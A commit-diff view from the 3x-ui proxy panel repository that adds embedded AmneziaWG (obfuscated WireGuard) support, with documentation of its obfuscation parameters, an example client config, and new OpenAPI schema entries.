7 Commits da01b7637d ... 9408424959

Autor SHA1 Mensagem Data
  Kuzz007 9408424959 fix(panel): forward the panel's proxy to update.sh's own downloads (#6259) há 9 horas atrás
  Turan f204997c98 chore(i18n): update tr-TR translations (#6288) há 9 horas atrás
  Kuzz007 effcccceac feat(amneziawg): add native AmneziaWG protocol support (#6105) há 9 horas atrás
  Sanaei d9b599b9aa fix(sub): forward tlsSettings.cipherSuites into the JSON subscription há 9 horas atrás
  Sanaei cc245a908e style: format struct literals and whitespace há 11 horas atrás
  Sanaei c26ff59b47 chore(sub): drop the inlined externalLinkEnabled test helper há 12 horas atrás
  mrchatam 6f7a305239 fix(node): stop stale expiry sync from undoing client extensions (#6228) (#6231) há 12 horas atrás
100 ficheiros alterados com 10315 adições e 98 exclusões
  1. 8 1
      CLAUDE.md
  2. 4 0
      docker-compose.yml
  3. 1 0
      docs/architecture.md
  4. 177 0
      docs/content/docs/en/config/amneziawg.mdx
  5. 1 0
      docs/content/docs/en/config/inbounds.mdx
  6. 1 0
      docs/content/docs/en/config/meta.json
  7. 7 0
      docs/content/docs/en/reference/api/server.mdx
  8. 1 1
      docs/content/docs/fa/reference/api/hosts.mdx
  9. 1 1
      docs/content/docs/ru/reference/api/hosts.mdx
  10. 1 1
      docs/content/docs/zh/reference/api/hosts.mdx
  11. 342 1
      docs/public/openapi.json
  12. 342 1
      frontend/public/openapi.json
  13. 75 0
      frontend/src/generated/examples.ts
  14. 265 1
      frontend/src/generated/schemas.ts
  15. 63 0
      frontend/src/generated/types.ts
  16. 67 1
      frontend/src/generated/zod.ts
  17. 125 0
      frontend/src/lib/xray/amneziawg-obfuscation.ts
  18. 44 1
      frontend/src/lib/xray/inbound-defaults.ts
  19. 3 0
      frontend/src/lib/xray/inbound-form-adapter.ts
  20. 195 1
      frontend/src/lib/xray/inbound-link.ts
  21. 1 1
      frontend/src/lib/xray/inbound-tag.ts
  22. 28 0
      frontend/src/lib/xray/link-label.tsx
  23. 4 3
      frontend/src/lib/xray/protocol-capabilities.ts
  24. 4 0
      frontend/src/models/dbinbound.ts
  25. 8 0
      frontend/src/models/status.ts
  26. 22 0
      frontend/src/pages/api-docs/endpoints.ts
  27. 1 0
      frontend/src/pages/clients/BulkAttachInboundsModal.tsx
  28. 1 0
      frontend/src/pages/clients/BulkDetachInboundsModal.tsx
  29. 1 0
      frontend/src/pages/clients/ClientBulkAddModal.tsx
  30. 161 27
      frontend/src/pages/clients/ClientFormModal.tsx
  31. 36 0
      frontend/src/pages/clients/ClientInfoModal.tsx
  32. 43 2
      frontend/src/pages/clients/ClientQrModal.tsx
  33. 14 0
      frontend/src/pages/clients/ClientsPage.tsx
  34. 110 0
      frontend/src/pages/clients/amneziawgConfig.ts
  35. 1 0
      frontend/src/pages/hosts/HostList.tsx
  36. 17 2
      frontend/src/pages/inbounds/InboundsPage.tsx
  37. 46 0
      frontend/src/pages/inbounds/form/InboundFormModal.tsx
  38. 216 0
      frontend/src/pages/inbounds/form/protocols/amneziawg.tsx
  39. 1 0
      frontend/src/pages/inbounds/form/protocols/index.ts
  40. 6 0
      frontend/src/pages/inbounds/form/protocols/wireguard.tsx
  41. 80 0
      frontend/src/pages/inbounds/info/InboundInfoModal.tsx
  42. 1 0
      frontend/src/pages/inbounds/list/helpers.ts
  43. 1 0
      frontend/src/pages/inbounds/list/types.ts
  44. 1 1
      frontend/src/pages/inbounds/list/useInboundColumns.tsx
  45. 57 1
      frontend/src/pages/inbounds/qr/QrCodeModal.tsx
  46. 1 0
      frontend/src/pages/inbounds/useInbounds.ts
  47. 17 0
      frontend/src/pages/index/AmneziaWGLogModal.css
  48. 254 0
      frontend/src/pages/index/AmneziaWGLogModal.tsx
  49. 6 0
      frontend/src/pages/index/IndexPage.tsx
  50. 13 0
      frontend/src/pages/index/OverviewActionBar.tsx
  51. 15 1
      frontend/src/pages/sub/SubPage.tsx
  52. 1 1
      frontend/src/schemas/api/inbound.ts
  53. 50 0
      frontend/src/schemas/client.ts
  54. 2 0
      frontend/src/schemas/primitives/protocol.ts
  55. 101 0
      frontend/src/schemas/protocols/inbound/amneziawg.ts
  56. 3 0
      frontend/src/schemas/protocols/inbound/index.ts
  57. 7 0
      frontend/src/schemas/protocols/inbound/wireguard.ts
  58. 2 0
      frontend/src/test/__snapshots__/inbound-defaults.test.ts.snap
  59. 1 0
      frontend/src/test/__snapshots__/inbound-full.test.ts.snap
  60. 1 0
      frontend/src/test/__snapshots__/protocols.test.ts.snap
  61. 92 0
      frontend/src/test/amneziawg-conf-injection.test.ts
  62. 115 0
      frontend/src/test/amneziawg-conf-parity.test.ts
  63. 90 0
      frontend/src/test/amneziawg-obfuscation.test.ts
  64. 34 0
      frontend/src/test/amneziawg-schema-cleared.test.ts
  65. 72 0
      frontend/src/test/client-tunnel-allowed-ips.test.tsx
  66. 190 0
      frontend/src/test/inbound-link.test.ts
  67. 46 0
      frontend/src/test/link-label.test.ts
  68. 2 1
      go.mod
  69. 2 0
      go.sum
  70. 16 1
      install.sh
  71. 164 0
      internal/amneziawg/instance.go
  72. 187 0
      internal/amneziawg/instance_test.go
  73. 337 0
      internal/amneziawg/params.go
  74. 384 0
      internal/amneziawg/params_test.go
  75. 142 0
      internal/amneziawg/portfwd.go
  76. 102 0
      internal/amneziawg/portfwd_test.go
  77. 245 0
      internal/amneziawg/types.go
  78. 274 0
      internal/amneziawgnet/device.go
  79. 550 0
      internal/amneziawgnet/device_test.go
  80. 140 0
      internal/amneziawgnet/diagnostics.go
  81. 196 0
      internal/amneziawgnet/diagnostics_test.go
  82. 43 0
      internal/amneziawgnet/forwarder.go
  83. 62 0
      internal/amneziawgnet/identity.go
  84. 343 0
      internal/amneziawgnet/manager.go
  85. 343 0
      internal/amneziawgnet/manager_test.go
  86. 245 0
      internal/amneziawgnet/netstack.go
  87. 88 0
      internal/amneziawgnet/netstack_test.go
  88. 343 0
      internal/amneziawgnet/portfwd.go
  89. 417 0
      internal/amneziawgnet/portfwd_test.go
  90. 147 0
      internal/amneziawgnet/portfwd_udp.go
  91. 389 0
      internal/amneziawgnet/relay.go
  92. 617 0
      internal/amneziawgnet/relay_e2e_test.go
  93. 49 0
      internal/amneziawgnet/socks_config.go
  94. 100 0
      internal/amneziawgnet/udp.go
  95. 156 0
      internal/amneziawgnet/udp_test.go
  96. 165 0
      internal/amneziawgnet/v6alias.go
  97. 277 0
      internal/amneziawgnet/v6alias_test.go
  98. 25 2
      internal/database/dialect.go
  99. 59 40
      internal/database/model/model.go
  100. 9 5
      internal/sub/json_service.go

+ 8 - 1
CLAUDE.md

@@ -41,6 +41,13 @@ file locations when it can answer in one hop.
 - `internal/xray/geodata/` — streaming geosite/geoip `.dat` reader (cached
 - `internal/xray/geodata/` — streaming geosite/geoip `.dat` reader (cached
   category index + paged entries) and `geosite:`/`geoip:`/`ext:` token parsing.
   category index + paged entries) and `geosite:`/`geoip:`/`ext:` token parsing.
 - `internal/mtproto/` — MTProto inbounds via the bundled `mtg-multi` binary.
 - `internal/mtproto/` — MTProto inbounds via the bundled `mtg-multi` binary.
+- `internal/amneziawg/` — AmneziaWG protocol shape: instance/peer derivation
+  from an inbound, 3.1 obfuscation param generation + validation, port-forward
+  spec parsing.
+- `internal/amneziawgnet/` — embedded AmneziaWG runtime: amneziawg-go device
+  over a gVisor userspace netstack, per-inbound reconcile manager, TCP/UDP
+  relay into a loopback per-peer-auth SOCKS5 Xray inbound, port-forward
+  listeners, per-peer IPv6 egress aliases.
 - `internal/pia/` — PIA WireGuard protocol client (auth, signed server list, `/addKey`).
 - `internal/pia/` — PIA WireGuard protocol client (auth, signed server list, `/addKey`).
 - `internal/sub/` — subscription server (raw / JSON / Clash).
 - `internal/sub/` — subscription server (raw / JSON / Clash).
 - `internal/eventbus/` — in-process pub/sub (outbound/node health, xray.crash,
 - `internal/eventbus/` — in-process pub/sub (outbound/node health, xray.crash,
@@ -51,7 +58,7 @@ file locations when it can answer in one hop.
   - `controller/` — panel + REST API handlers; OpenAPI at /panel/api/openapi.json.
   - `controller/` — panel + REST API handlers; OpenAPI at /panel/api/openapi.json.
   - `service/` — business logic (InboundService, SettingService, XrayService,
   - `service/` — business logic (InboundService, SettingService, XrayService,
     node sync); subpackages tgbot/, email/, outbound/, panel/, integration/.
     node sync); subpackages tgbot/, email/, outbound/, panel/, integration/.
-  - `job/` — 17 cron jobs (traffic, fail2ban IP-limit, node heartbeat/sync, LDAP,
+  - `job/` — 18 cron jobs (traffic, fail2ban IP-limit, node heartbeat/sync, LDAP,
     CPU/memory watchdogs, …); full table in `docs/architecture.md` §5.4.
     CPU/memory watchdogs, …); full table in `docs/architecture.md` §5.4.
   - `middleware/`, `entity/`, `global/`, `session/` (CSRF), `network/`,
   - `middleware/`, `entity/`, `global/`, `session/` (CSRF), `network/`,
     `runtime/` (master/sub-node over mTLS), `websocket/`.
     `runtime/` (master/sub-node over mTLS), `websocket/`.

+ 4 - 0
docker-compose.yml

@@ -12,6 +12,10 @@ services:
     # with iptables, which needs NET_ADMIN. Without these caps a ban is logged
     # with iptables, which needs NET_ADMIN. Without these caps a ban is logged
     # and shown in fail2ban status but never actually applied. NET_RAW covers
     # and shown in fail2ban status but never actually applied. NET_RAW covers
     # ip6tables. If you disable Fail2ban, you can drop cap_add.
     # ip6tables. If you disable Fail2ban, you can drop cap_add.
+    #
+    # AmneziaWG works in this image: it runs embedded in the panel process
+    # (amneziawg-go over a gVisor userspace netstack), so it needs no kernel
+    # module and no host tooling. Publish its UDP listen port to use it.
     cap_add:
     cap_add:
       - NET_ADMIN
       - NET_ADMIN
       - NET_RAW
       - NET_RAW

+ 1 - 0
docs/architecture.md

@@ -373,6 +373,7 @@ All registered in `web.go` → `startTask()`. Each is a struct with a `Run()` me
 | `@every 5s`         | `node_traffic_sync_job`                                                                          | Pull + merge node traffic; push reconciliation                                  |
 | `@every 5s`         | `node_traffic_sync_job`                                                                          | Pull + merge node traffic; push reconciliation                                  |
 | `@every 10s`        | `check_client_ip_job`                                                                            | Enforce per-client IP limits                                                    |
 | `@every 10s`        | `check_client_ip_job`                                                                            | Enforce per-client IP limits                                                    |
 | `@every 10s`        | `mtproto_job`                                                                                    | Reconcile `mtg` sidecars against enabled MTProto inbounds                       |
 | `@every 10s`        | `mtproto_job`                                                                                    | Reconcile `mtg` sidecars against enabled MTProto inbounds                       |
+| `@every 10s`        | `amneziawg_job`                                                                                  | Reconcile embedded AmneziaWG interfaces against enabled local inbounds          |
 | `@every 5m`         | `outbound_subscription_job`                                                                      | Refresh outbound provider configs                                               |
 | `@every 5m`         | `outbound_subscription_job`                                                                      | Refresh outbound provider configs                                               |
 | `@every 10m`        | `clear_logs_job` (`PruneXrayLogsJob`)                                                            | Truncate Xray access/error logs once either exceeds 64 MiB                      |
 | `@every 10m`        | `clear_logs_job` (`PruneXrayLogsJob`)                                                            | Truncate Xray access/error logs once either exceeds 64 MiB                      |
 | `@hourly`           | `warp_ip_job`, `periodic_traffic_reset_job("hourly")`                                            | WARP IP rotation; traffic resets                                                |
 | `@hourly`           | `warp_ip_job`, `periodic_traffic_reset_job("hourly")`                                            | WARP IP rotation; traffic resets                                                |

+ 177 - 0
docs/content/docs/en/config/amneziawg.mdx

@@ -0,0 +1,177 @@
+---
+title: AmneziaWG
+description: Set up an AmneziaWG inbound in 3x-ui — obfuscation parameters, native IPv6, per-client port-forwarding, and routing client traffic through Xray.
+icon: Lock
+---
+
+**AmneziaWG** is a WireGuard fork that adds traffic obfuscation (junk packets,
+randomized padding, and rewritten protocol magic values) so the tunnel doesn't
+look like WireGuard to deep-packet inspection. It's a popular choice where
+plain WireGuard is blocked but a WireGuard-shaped tunnel with a different
+fingerprint gets through.
+
+<Callout type="info">
+  AmneziaWG runs **embedded in the panel process** — `amneziawg-go` over a
+  userspace (gVisor) network stack, not a kernel module. There is no DKMS
+  build, no Secure Boot conflict, and no host network/kernel access
+  requirement, so it works the same way inside a container as on bare
+  metal. Each peer's decapsulated traffic relays into its own loopback Xray
+  SOCKS5 inbound, so a peer's routing, sniffing, and per-client stats all
+  come from Xray's own machinery — the same as any other protocol's
+  inbound, not a separate code path.
+</Callout>
+
+## Key settings
+
+### Server / interface
+
+| Field                    | What it is                                                              |
+| ------------------------ | ------------------------------------------------------------------------ |
+| **Subnet**                | The tunnel's IPv4 subnet (e.g. `10.8.1.0/24`); each client gets an address from it. |
+| **MTU**                   | Interface MTU. Leave at the default unless you have a reason to change it. |
+| **DNS (primary/secondary)** | Seeded into downloadable client configs; the server's own interface doesn't need one. |
+| **External interface**    | The host NIC a peer's IPv6 address gets aliased onto when IPv6 is enabled (see below). Leave blank to auto-detect. |
+
+### Obfuscation (AmneziaWG 3.1)
+
+The same values must match on both ends of the tunnel, so the server stores
+them once and every client config inherits them. The panel generates a
+randomized set for you (with a **regenerate** button) — a static, reused
+value defeats the point, since DPI can fingerprint it over time.
+
+| Field        | What it is                                                                 |
+| ------------ | ---------------------------------------------------------------------------- |
+| **Jc**       | Number of junk packets sent before the handshake.                            |
+| **Jmin/Jmax** | Size range (bytes) for those junk packets. `Jmin` must not exceed `Jmax`.     |
+| **S1/S2**    | Padding added to the handshake init/response packets. `S1 + 56` must not equal `S2` — amneziawg-go rejects a value that would make both packets the same size. |
+| **S3**       | Cookie-reply padding, `0`-`64`.                                               |
+| **S4**       | Transport (data) packet padding, `0`-`32`.                                    |
+| **H1-H4**    | Magic header values that replace WireGuard's standard message-type bytes. Each is a single integer or a `low-high` range; `1`-`4` are reserved (real WireGuard message types) and must not be used. |
+| **I1-I5**    | Optional signature packets — random bytes prepended before the handshake, e.g. `<r 148>`. Generated sets fill `I1` only, matching Amnezia's own generator. |
+| **HeaderProtectionKey** | A base64 32-byte key for the 3.0 header-protection mechanism. Must match on every client config; blank disables it. |
+| **ContentPaddingAddition** | A single integer or `low-high` byte range of extra padding on content packets. Kept `<= 64` by the generator so a 1420-MTU tunnel doesn't fragment. |
+| **RekeyAfterTime / RekeyTimeout / RejectAfterTime / KeepaliveTimeout / MaxHandshakeAttempts** | Handshake-timing randomization: each is a `low-high` range (seconds; attempts for the last one) the peer samples from, so session timing stops being a WireGuard fingerprint. Every `RekeyAfterTime` value must stay below every `RejectAfterTime` value. Blank keeps the WireGuard default. |
+| **RandomTrailers** | Appends a random number of bytes to the end of every packet.                 |
+| **DisableCookies** | Never send cookie replies — removes a DPI-visible WireGuard message type, at the cost of WireGuard's handshake-flood mitigation. |
+
+<Callout type="info">
+  If you enter obfuscation values by hand instead of using the generated
+  defaults, keep `H1`-`H4` **non-overlapping** and above `4`, and double-check
+  `S1 + 56 != S2` — a bad value here keeps the embedded interface from
+  coming up at all.
+</Callout>
+
+<Callout type="warn">
+  The 3.1 parameters need a **3.1-capable client**. Clients must run a
+  3.1-capable Amnezia app; blanking the 3.1 fields renders a config older
+  clients still understand. There is no host-side version requirement —
+  the panel ships its own pinned `amneziawg-go`, not whatever happens to be
+  installed on the system.
+</Callout>
+
+## Set it up in the panel
+
+<Steps>
+
+<Step>
+### Add an inbound
+
+Add a new inbound, choose protocol **AmneziaWG**, and set the port and tunnel
+subnet.
+</Step>
+
+<Step>
+### Leave obfuscation on defaults (or regenerate)
+
+The panel fills in a randomized, kernel-valid obfuscation set automatically.
+Use **Regenerate** if you want a fresh one; there's no need to hand-edit these
+unless you have a specific reason to.
+</Step>
+
+<Step>
+### Add a client
+
+Each client gets its own keypair and tunnel address. Download the client's
+`.conf` or copy its share link (`vpn://…`, importable by the official
+AmneziaWG/AmneziaVPN apps) from the client list.
+</Step>
+
+<Step>
+### Optional: enable IPv6
+
+Turning on IPv6 allocates an IPv6 address alongside each client's IPv4 one
+from the configured IPv6 subnet. The panel aliases that address onto the
+external interface's host NIC so outbound connections carry the peer's own
+distinct public IPv6 identity — no NAT66 needed.
+</Step>
+
+<Step>
+### Optional: forward ports to a client
+
+Set a client's forwarded ports (e.g. `80, 443, 8000-8100`) to open a real
+listener on the host that relays that traffic straight to the client's
+tunnel address — useful for a client that needs to expose a service through
+the server.
+</Step>
+
+</Steps>
+
+Every AmneziaWG inbound's traffic already goes through Xray — each peer
+relays into its own loopback SOCKS5 inbound, tagged with the AmneziaWG
+inbound's own tag, so it shows up as a normal source on the
+[Routing](/docs/operations/outbounds-routing) page like any other protocol's
+inbound. There is no separate toggle for this: unlike a kernel tunnel,
+there's no other way for a peer's traffic to reach the internet once it's
+decapsulated.
+
+## What the configuration looks like
+
+A client's downloadable `.conf` (also what the `vpn://` share link encodes,
+base64url'd) looks like this:
+
+```ini title="client .conf"
+[Interface]
+PrivateKey = <client private key>
+Address = 10.8.1.2/32
+DNS = 8.8.8.8, 8.8.4.4
+Jc = 4
+Jmin = 65
+Jmax = 220
+S1 = 87
+S2 = 44
+S3 = 21
+S4 = 9
+H1 = 462980921-463150218
+H2 = 1177681572-1177787900
+H3 = 1907413509-1907903969
+H4 = 2029908558-2030313135
+I1 = <r 148>
+HeaderProtectionKey = 8Iu83eHDA3fMKKSGaEsVW9Ycd2lYYzc0MYlk1jJTvE4=
+ContentPaddingAddition = 17-49
+RekeyAfterTime = 111-139
+RekeyTimeout = 4-7
+RejectAfterTime = 187-251
+KeepaliveTimeout = 9-14
+MaxHandshakeAttempts = 19-36
+RandomTrailers = on
+DisableCookies = on
+
+# my-client
+[Peer]
+PublicKey = <server public key>
+AllowedIPs = 0.0.0.0/0, ::/0
+Endpoint = your-server:443
+PersistentKeepalive = 25
+```
+
+## Not yet covered
+
+<Callout type="info">
+
+- **Multi-node (sub-nodes)** and **Telegram bot** — AmneziaWG inbounds haven't
+  been exercised through those paths yet. They likely work (the reconciler
+  runs the same way regardless of how the panel itself is deployed), but
+  that's not the same as a confirmed, tested claim — treat it as unverified
+  rather than assume it either way until someone reports back.
+
+</Callout>

+ 1 - 0
docs/content/docs/en/config/inbounds.mdx

@@ -58,6 +58,7 @@ The inbound editor accepts these protocols:
 | **Trojan**             | TLS-based; supports XTLS and fallbacks.                                   |
 | **Trojan**             | TLS-based; supports XTLS and fallbacks.                                   |
 | **Shadowsocks**        | Includes Shadowsocks-2022 (`2022-blake3-*`) ciphers.                      |
 | **Shadowsocks**        | Includes Shadowsocks-2022 (`2022-blake3-*`) ciphers.                      |
 | **WireGuard**          | Modern tunnel.                                                           |
 | **WireGuard**          | Modern tunnel.                                                           |
+| **AmneziaWG**          | Obfuscated WireGuard fork, embedded in the panel process. See [AmneziaWG](/docs/config/amneziawg). |
 | **Hysteria2**          | Selected as `hysteria`; the panel emits `hysteria2://` links.             |
 | **Hysteria2**          | Selected as `hysteria`; the panel emits `hysteria2://` links.             |
 | **HTTP**               | HTTP proxy.                                                             |
 | **HTTP**               | HTTP proxy.                                                             |
 | **Mixed (SOCKS/HTTP)** | A combined SOCKS + HTTP listener.                                        |
 | **Mixed (SOCKS/HTTP)** | A combined SOCKS + HTTP listener.                                        |

+ 1 - 0
docs/content/docs/en/config/meta.json

@@ -6,6 +6,7 @@
     "ssl-certificates",
     "ssl-certificates",
     "inbounds",
     "inbounds",
     "reality",
     "reality",
+    "amneziawg",
     "transports",
     "transports",
     "clients",
     "clients",
     "subscription",
     "subscription",

Diff do ficheiro suprimidas por serem muito extensas
+ 7 - 0
docs/content/docs/en/reference/api/server.mdx


+ 1 - 1
docs/content/docs/fa/reference/api/hosts.mdx

@@ -102,7 +102,7 @@ export default function Layout(props) {
   return (
   return (
     <>
     <>
       {props.children}
       {props.children}
-      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{id}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{id}","method":"post"},{"path":"/panel/api/hosts/del/{id}","method":"post"},{"path":"/panel/api/hosts/setEnable/{id}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
+      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{groupId}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{groupId}","method":"post"},{"path":"/panel/api/hosts/del/{groupId}","method":"post"},{"path":"/panel/api/hosts/setEnable/{groupId}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
     </>
     </>
   );
   );
 }
 }

+ 1 - 1
docs/content/docs/ru/reference/api/hosts.mdx

@@ -103,7 +103,7 @@ export default function Layout(props) {
   return (
   return (
     <>
     <>
       {props.children}
       {props.children}
-      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{id}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{id}","method":"post"},{"path":"/panel/api/hosts/del/{id}","method":"post"},{"path":"/panel/api/hosts/setEnable/{id}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
+      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{groupId}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{groupId}","method":"post"},{"path":"/panel/api/hosts/del/{groupId}","method":"post"},{"path":"/panel/api/hosts/setEnable/{groupId}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
     </>
     </>
   );
   );
 }
 }

+ 1 - 1
docs/content/docs/zh/reference/api/hosts.mdx

@@ -102,7 +102,7 @@ export default function Layout(props) {
   return (
   return (
     <>
     <>
       {props.children}
       {props.children}
-      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{id}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{id}","method":"post"},{"path":"/panel/api/hosts/del/{id}","method":"post"},{"path":"/panel/api/hosts/setEnable/{id}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
+      <Comp document="./public/openapi.json" webhooks={[]} operations={[{"path":"/panel/api/hosts/list","method":"get"},{"path":"/panel/api/hosts/get/{groupId}","method":"get"},{"path":"/panel/api/hosts/byInbound/{inboundId}","method":"get"},{"path":"/panel/api/hosts/tags","method":"get"},{"path":"/panel/api/hosts/add","method":"post"},{"path":"/panel/api/hosts/update/{groupId}","method":"post"},{"path":"/panel/api/hosts/del/{groupId}","method":"post"},{"path":"/panel/api/hosts/setEnable/{groupId}","method":"post"},{"path":"/panel/api/hosts/reorder","method":"post"},{"path":"/panel/api/hosts/bulk/setEnable","method":"post"},{"path":"/panel/api/hosts/bulk/del","method":"post"}]} showTitle />
     </>
     </>
   );
   );
 }
 }

+ 342 - 1
docs/public/openapi.json

@@ -970,6 +970,36 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "AmneziaWGLogs": {
+        "description": "AmneziaWGLogs is what the overview's AmneziaWG log view renders: the live\nper-peer activity of every running embedded interface, plus the panel's\nown recent AmneziaWG lifecycle log lines that explain a peer being absent\nfrom Peers at all.",
+        "properties": {
+          "events": {
+            "example": [
+              "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+            ],
+            "items": {
+              "type": "string"
+            },
+            "type": "array"
+          },
+          "peers": {
+            "items": {
+              "$ref": "#/components/schemas/PeerActivity"
+            },
+            "type": "array"
+          },
+          "running": {
+            "example": true,
+            "type": "boolean"
+          }
+        },
+        "required": [
+          "events",
+          "peers",
+          "running"
+        ],
+        "type": "object"
+      },
       "ApiToken": {
       "ApiToken": {
         "properties": {
         "properties": {
           "createdAt": {
           "createdAt": {
@@ -1064,6 +1094,16 @@
             },
             },
             "type": "array"
             "type": "array"
           },
           },
+          "allowedIPsByInbound": {
+            "additionalProperties": {
+              "items": {
+                "type": "string"
+              },
+              "type": "array"
+            },
+            "description": "AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound\nbasis, keyed by inbound id. Lets one identity attached to both\nWireGuard and AmneziaWG carry two genuinely different addresses in a\nsingle Create/Update call instead of the shared AllowedIPs field\nbeing broadcast to every attached tunnel inbound. Absent/unset for a\ngiven inbound id falls back to the shared AllowedIPs exactly as\nbefore -- fully backward compatible for callers that never set this.",
+            "type": "object"
+          },
           "auth": {
           "auth": {
             "description": "Auth password (Hysteria)",
             "description": "Auth password (Hysteria)",
             "type": "string"
             "type": "string"
@@ -1094,6 +1134,10 @@
             "description": "Flow control (XTLS)",
             "description": "Flow control (XTLS)",
             "type": "string"
             "type": "string"
           },
           },
+          "forwardedPorts": {
+            "description": "AmneziaWG per-client port-forwarding spec, e.g. \"80,443,8000-8100\"",
+            "type": "string"
+          },
           "group": {
           "group": {
             "description": "Logical grouping label",
             "description": "Logical grouping label",
             "type": "string"
             "type": "string"
@@ -1258,6 +1302,9 @@
           "flow": {
           "flow": {
             "type": "string"
             "type": "string"
           },
           },
+          "forwardedPorts": {
+            "type": "string"
+          },
           "group": {
           "group": {
             "type": "string"
             "type": "string"
           },
           },
@@ -1336,6 +1383,7 @@
           "enable",
           "enable",
           "expiryTime",
           "expiryTime",
           "flow",
           "flow",
+          "forwardedPorts",
           "group",
           "group",
           "id",
           "id",
           "keepAlive",
           "keepAlive",
@@ -2079,7 +2127,8 @@
               "mixed",
               "mixed",
               "tunnel",
               "tunnel",
               "tun",
               "tun",
-              "mtproto"
+              "mtproto",
+              "amneziawg"
             ],
             ],
             "example": "vless",
             "example": "vless",
             "type": "string"
             "type": "string"
@@ -2231,6 +2280,15 @@
       },
       },
       "InboundOption": {
       "InboundOption": {
         "properties": {
         "properties": {
+          "awgServer": {
+            "allOf": [
+              {
+                "$ref": "#/components/schemas/ServerSettings"
+              }
+            ],
+            "description": "AwgServer carries the full AmneziaWG server block (keys, subnet,\nobfuscation params) so the clients page can render a downloadable\nper-client .conf without a second round trip.",
+            "nullable": true
+          },
           "enable": {
           "enable": {
             "example": true,
             "example": true,
             "type": "boolean"
             "type": "boolean"
@@ -2913,6 +2971,68 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "PeerActivity": {
+        "description": "PeerActivity is one peer's live embedded-Device-reported state, the\ncounterpart of an Xray access-log entry: a tunnel logs no requests, only\nhandshakes and bytes.",
+        "properties": {
+          "allowedIPs": {
+            "example": "10.8.1.2/32",
+            "type": "string"
+          },
+          "down": {
+            "example": 4194304,
+            "format": "int64",
+            "type": "integer"
+          },
+          "email": {
+            "example": "[email protected]",
+            "type": "string"
+          },
+          "endpoint": {
+            "example": "203.0.113.9:51820",
+            "type": "string"
+          },
+          "handshake": {
+            "description": "Handshake is unix milliseconds, 0 when the peer has never connected.",
+            "example": 1735732800000,
+            "format": "int64",
+            "type": "integer"
+          },
+          "inboundId": {
+            "example": 1,
+            "type": "integer"
+          },
+          "interface": {
+            "example": "awg1",
+            "type": "string"
+          },
+          "online": {
+            "example": true,
+            "type": "boolean"
+          },
+          "tag": {
+            "example": "inbound-51820",
+            "type": "string"
+          },
+          "up": {
+            "example": 1048576,
+            "format": "int64",
+            "type": "integer"
+          }
+        },
+        "required": [
+          "allowedIPs",
+          "down",
+          "email",
+          "endpoint",
+          "handshake",
+          "inboundId",
+          "interface",
+          "online",
+          "tag",
+          "up"
+        ],
+        "type": "object"
+      },
       "ProbeResultUI": {
       "ProbeResultUI": {
         "properties": {
         "properties": {
           "cpuPct": {
           "cpuPct": {
@@ -3079,6 +3199,150 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "ServerSettings": {
+        "description": "ServerSettings is the \"server\" block of an AmneziaWG inbound's Settings\nJSON: the interface-level configuration shared by every client/peer. The\nlisten port is deliberately not duplicated here — it lives on the inbound\nrow itself (Inbound.Port), like every other protocol.",
+        "properties": {
+          "contentPaddingAddition": {
+            "type": "string"
+          },
+          "disableCookies": {
+            "type": "boolean"
+          },
+          "externalInterface": {
+            "description": "ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live\nagain as of Phase 3.5 -- see the matching fields on Instance for what\nthey gate (internal/amneziawgnet's IPv6-address-alias mechanism).\nIPv6Subnet was never actually vestigial either: InstanceFromInbound\nalready consumes it (via serverAddressV6) to build the server's own\ntunnel address, same as always. Only RouteThroughXray, below, remains\ngenuinely vestigial as of the hard cutover to the embedded path\n(internal/amneziawgnet) -- read from existing stored settings for\nbackward compatibility, but not acted on by anything.",
+            "type": "string"
+          },
+          "h1": {
+            "type": "string"
+          },
+          "h2": {
+            "type": "string"
+          },
+          "h3": {
+            "type": "string"
+          },
